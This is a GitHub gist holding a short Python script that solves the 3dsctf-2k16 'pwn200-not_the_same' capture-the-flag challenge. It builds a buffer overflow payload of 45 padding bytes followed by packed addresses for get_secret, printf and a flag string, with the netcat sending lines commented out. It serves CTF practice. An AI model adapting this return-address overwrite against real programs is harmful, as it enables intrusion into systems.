Skip to content

Instantly share code, notes, and snippets.

@intrd
Last active January 19, 2020 00:39
Show Gist options
  • Select an option

  • Save intrd/8927be9893665a26cba6db52f6fb73e0 to your computer and use it in GitHub Desktop.

Select an option

Save intrd/8927be9893665a26cba6db52f6fb73e0 to your computer and use it in GitHub Desktop.
Buffer overflow using netcat.py to exploit pwn200-not_the_same @ 3dsctf-2k16
#!/usr/bin/python
## Buffer overflow using netcat.py to exploit pwn200-not_the_same @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
# int_netcat.py - https://gist.github.com/intrd/00a39c83f752acf81775bfa9721e745a
import sys, struct
from int_netcat import Netcat
#nc = Netcat('54.175.35.248', 8006)
payload = "a"*45
payload += struct.pack("<I", 0x80489a0) #get_secret
payload += struct.pack("<I", 0x0804f0a0) #printf
payload += "AAAA" #junk address
payload += struct.pack("<I", 0x80eCa2d) #flag
print payload
# nc.write(payload)
# print nc.read()
# nc.write("text\n")
# print nc.read()
# nc.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment